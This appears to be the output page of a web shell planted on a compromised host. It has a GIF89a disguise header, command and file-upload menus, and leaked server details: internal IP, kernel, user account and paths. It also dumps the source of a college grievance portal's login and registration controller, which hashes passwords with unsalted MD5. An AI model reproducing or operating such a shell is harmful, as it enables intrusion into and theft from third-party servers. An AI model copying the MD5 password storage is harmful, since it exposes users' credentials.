GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 18.190.176.176
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../grievance/application/models/../controllers/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../grievance/application/models/../controllers/Authentication.php
<?php

/**
 * Controller For Handling Requests Related To Authentication
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class Authentication extends CI_Controller {

    public function __construct() {
        parent::__construct();
        $this->load->helper('url');
        $this->load->helper('form');
        $this->load->library('form_validation');
        $this->load->library('session');
        $this->load->model("UserAuthenticator");
        $this->load->model("UserManagement");
        $this->load->model("StuParentMappingManagement");
    }

    public function index() {
        if ($this->session->userdata('logged_in')) {
            redirect("Dashboard");
        } else {
            redirect("Home/");
        }
    }

    public function login($userTypeOrRole = '') {
        if ($userTypeOrRole != '') {
            if ($this->session->userdata('logged_in')) {
                redirect("Dashboard");
            } else {
                $viewData['slug'] = $userTypeOrRole;
                if ($userTypeOrRole == 'admin') {
                    $viewData['roleOrType'] = 'CA';
                    $viewData['roleOrTypeFLag'] = 'R';
                } else if ($userTypeOrRole == 'student') {
                    $viewData['roleOrType'] = 'S';
                    $viewData['roleOrTypeFLag'] = 'T';
                } else if ($userTypeOrRole == 'parent') {
                    $viewData['roleOrType'] = 'P';
                    $viewData['roleOrTypeFLag'] = 'T';
                } else if ($userTypeOrRole == 'gcellm') {
                    $viewData['roleOrType'] = 'GCM';
                    $viewData['roleOrTypeFLag'] = 'R';
                } else if ($userTypeOrRole == 'faculty') {
                    $viewData['roleOrType'] = 'F';
                    $viewData['roleOrTypeFLag'] = 'T';
                } else if ($userTypeOrRole == 'nonteaching') {
                    $viewData['roleOrType'] = 'N';
                    $viewData['roleOrTypeFLag'] = 'T';
                } else {
                    $viewData['roleOrType'] = 'MGMT';
                    $viewData['roleOrTypeFLag'] = 'R';
                }
                $this->load->view('sign_in', $viewData);
            }
        } else {
            redirect("Home/");
        }
    }

    public function authLogin() {
        $this->form_validation->set_rules('mailOrMobile', 'Email Or Mobile', 'trim|required', array('required' => 'Email Or Mobile Is Required.'));
        $this->form_validation->set_rules('password', 'Password', 'required', array('required' => 'Password Can Not Be Blank.'));
        if ($this->form_validation->run() == FALSE) {
            $this->login($this->input->post('slug'));
        } else {
            $mailOrMobile = $this->input->post('mailOrMobile');
            $password = $this->input->post('password');
            $userTypeOrRole = $this->input->post('userTypeOrRole');
            $userTypeOrRoleFlag = $this->input->post('userTypeOrRoleFlag');
            $result = $this->UserAuthenticator->authLogin($mailOrMobile, $password, $userTypeOrRole, $userTypeOrRoleFlag);
            if ($result == 1) {
                redirect("Dashboard");
            } else if ($result == -1) {
                $this->session->set_flashdata('errorMessage', "Your Account Is Blocked.");
                $this->login($this->input->post('slug'));
            } else if ($result == -2) {
                $this->session->set_flashdata('errorMessage', "Your Account Is Awaiting Approval.");
                $this->login($this->input->post('slug'));
            } else {
                $this->session->set_flashdata('errorMessage', "Invalid Credentials.");
                $this->login($this->input->post('slug'));
            }
        }
    }

    public function authLogout() {
        $this->UserAuthenticator->authLogout();
        $this->login();
    }

    public function signUp($userTypeOrRole = '') {
        if ($userTypeOrRole != '') {
            if ($this->session->userdata('logged_in')) {
                redirect("Dashboard");
            } else {
                $viewData['slug'] = $userTypeOrRole;
                if ($userTypeOrRole == 'student') {
                    $this->load->model("CourseManagement");
                    $viewData['non_del_actv_course'] = $this->CourseManagement->getNonDeletedActiveCoursesOfInstitute($this->session->userdata('inst_id'))->result();
                    $viewData['roleOrType'] = 'S';
                    $viewData['roleOrTypeFLag'] = 'T';
                } else if ($userTypeOrRole == 'parent') {
                    $viewData['roleOrType'] = 'P';
                    $viewData['roleOrTypeFLag'] = 'T';
                } else if ($userTypeOrRole == 'faculty') {
                    $viewData['roleOrType'] = 'F';
                    $viewData['roleOrTypeFLag'] = 'T';
                } else if ($userTypeOrRole == 'nonteaching') {
                    $viewData['roleOrType'] = 'N';
                    $viewData['roleOrTypeFLag'] = 'T';
                } else {
                    redirect("Authentication/login/") . $userTypeOrRole;
                }
                $this->load->view('sign_up', $viewData);
            }
        } else {
            redirect("Home/");
        }
    }

    public function registerUser() {
        $this->form_validation->set_rules('userFirstName', 'First Name', 'required', array('required' => 'First Name Can Not Be Blank.'));
        $this->form_validation->set_rules('userGender', 'Gender', 'trim|required', array('required' => 'Gender Is Required.'));
        $this->form_validation->set_rules('userEmail', 'Password', 'required', array('required' => 'Email Can Not Be Blank.'));
        $this->form_validation->set_rules('userMobile', 'Email Or Mobile', 'trim|required|numeric|min_length[10]|max_length[10]', array('required' => 'Mobile Is Required.'));
        $this->form_validation->set_rules('userPassword', 'Password', 'trim|required', array('required' => 'Password Can Not Be Blank.'));
        $this->form_validation->set_rules('userCnfPassword', 'Confirm Passowrd', 'trim|required|matches[userPassword]', array('required' => 'Confirm Password Is Required.'));
        $userType = $this->input->post('userTypeOrRole');
        if ($userType == 'S') {
            $this->form_validation->set_rules('userRegEmpAdmNo', 'Admsn./Reg./Roll Number', 'trim|required', array('required' => 'Admns./Reg./Roll Number Is Required.'));
            $this->form_validation->set_rules('userCourse', 'Email Or Mobile', 'trim|required', array('required' => 'Course Is Required.'));
            $this->form_validation->set_rules('userCourseYearOrSem', 'Password', 'required', array('required' => 'Year/Semester Is Required.'));
            $this->form_validation->set_rules('userCourseCompleteDate', 'Email Or Mobile', 'trim|required', array('required' => 'Course Completion Date Is Required.'));
        } else if ($userType == 'P') {
            $this->form_validation->set_rules('userRegEmpAdmNo', "Ward's Admsn./Reg./Roll Number", 'trim|required', array('required' => "Your Ward's Admns./Reg./Roll Number Is Required."));
        } else {
            $this->form_validation->set_rules('userRegEmpAdmNo', "Employee No./Code", 'trim|required', array('required' => "Employee No./Code Is Required."));
        }
        if ($this->form_validation->run() == FALSE) {
            $this->signUp($this->input->post('slug'));
        } else {
            $queryByEmail = $this->UserManagement->getUserInfoByEmail($this->input->post('userEmail'));
            $userInfoByEmail = $queryByEmail->result();
            $queryByMobile = $this->UserManagement->getUserInfoByMobileNumber($this->input->post('userMobile'));
            $userInfoByMobile = $queryByMobile->result();
            if (sizeof($userInfoByEmail)) {
                $this->session->set_flashdata('errorMessage', "This Email Is Already Registered. Please Try With Different Email.");
                $this->signUp($this->input->post('slug'));
            } else if (sizeof($userInfoByMobile)) {
                $this->session->set_flashdata('errorMessage', "This Mobile Number Is Already Registered. Please Try With Different Mobile.");
                $this->signUp($this->input->post('slug'));
            } else {
                $newUserInfo = array(
                    'cau_first_name' => $this->input->post('userFirstName'),
                    'cau_last_name' => $this->input->post('userLastName'),
                    'cau_email' => $this->input->post('userEmail'),
                    'cau_mobile' => $this->input->post('userMobile'),
                    'cau_gender' => $this->input->post('userGender'),
                    'cau_adm_reg_roll_no' => $this->input->post('userRegEmpAdmNo'),
                    'cau_password' => MD5($this->input->post('userPassword')),
                    'cau_signup_on' => date("Y-m-d H:i:s"),
                    'cau_last_updated_on' => date("Y-m-d H:i:s"),
                    'cau_user_type_flag' => $this->input->post('userTypeOrRole'),
                    'cau_user_role_flag' => "NA",
                    'cau_image_url' => base_url("assets/images/ext_users/default.png"),
                    'clg_id' => $this->session->userdata('inst_id')
                );
                $queryByAdmsEmpNo = $this->UserManagement->getUserInfoByAdmsnEmpNo($this->input->post('userRegEmpAdmNo'));
                $userInfoByAdmsEmpNo = $queryByAdmsEmpNo->result();
                if ($userType == 'F' || $userType == 'N') { // For Teaching And Non-Teaching Staffs
                    if (sizeof($userInfoByAdmsEmpNo)) {
                        $this->session->set_flashdata('errorMessage', "This Employee No. Is Already Exists.");
                        $this->signUp($this->input->post('slug'));
                    } else {
                        if ($this->UserManagement->createNewUser($newUserInfo)) {
                            $this->session->set_flashdata('successMessage', 'Registration Successful. Your Account Is Under Review, You Can Login After Approval. You Will Be Notified Once Your Account Is Approved.');
                            $this->login($this->input->post('slug'));
                        } else {
                            $this->session->set_flashdata('errorMessage', 'Regisration Failed!! Try Later.');
                            redirect(current_url());
                        }
                    }
                } else if ($userType == 'S') {          // For Teaching And Non-Teaching Staffs
                    if (sizeof($userInfoByAdmsEmpNo)) {
                        $this->session->set_flashdata('errorMessage', "This Admission No./Reg. No./Roll Number Is Already Exists.");
                        $this->signUp($this->input->post('slug'));
                    } else {
                        $newUserInfo['cau_course_complt_on'] = date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('userCourseCompleteDate'))));
                        $newUserInfo['course_id'] = $this->input->post('userCourse');
                        $newUserInfo['cau_course_ysem'] = $this->input->post('userCourseYearOrSem');
                        if ($this->UserManagement->createNewUser($newUserInfo)) {
                            $this->session->set_flashdata('successMessage', 'Registration Successful. Your Account Is Under Review, You Can Login After Approval. You Will Be Notified Once Your Account Is Approved.');
                            $this->login($this->input->post('slug'));
                        } else {
                            $this->session->set_flashdata('errorMessage', 'Regisration Failed!! Try Later.');
                            redirect(current_url());
                        }
                    }
                } else {
                    if (sizeof($userInfoByAdmsEmpNo) == 0) { // For Parents
                        $this->session->set_flashdata('errorMessage', "It Seems Your Ward Has Not Been Registered Yet. Ward's Registration Is Mandatory Before Parent Registration.");
                        $this->signUp($this->input->post('slug'));
                    } else {
                        $this->db->trans_start();
                        $cau_id = $this->UserManagement->createNewUser($newUserInfo);
                        if ($cau_id) {
                            $stuParentMapInfo = array(
                                'parent_id' => $cau_id,
                                'student_id' => $userInfoByAdmsEmpNo[0]->cau_id,
                                'spm_mapped_on' => date("Y-m-d H:i:s"),
                                'spm_mapped_by' => $cau_id
                            );
                            if ($this->StuParentMappingManagement->makeNewStuParentMapping($stuParentMapInfo)) {
                                $this->db->trans_complete();
                                $this->session->set_flashdata('successMessage', 'Registration Successful. Your Account Is Under Review, You Can Login After Approval. You Will Be Notified Once Your Account Is Approved.');
                                $this->login($this->input->post('slug'));
                            } else {
                                $this->db->trans_complete();
                                $this->session->set_flashdata('errorMessage', 'Regisration Failed!! Try Later.');
                                redirect(current_url());
                            }
                        } else {
                            $this->db->trans_complete();
                            $this->session->set_flashdata('errorMessage', 'Regisration Failed!! Try Later.');
                            redirect(current_url());
                        }
                    }
                }
            }
        }
    }

}

KBHT - 2023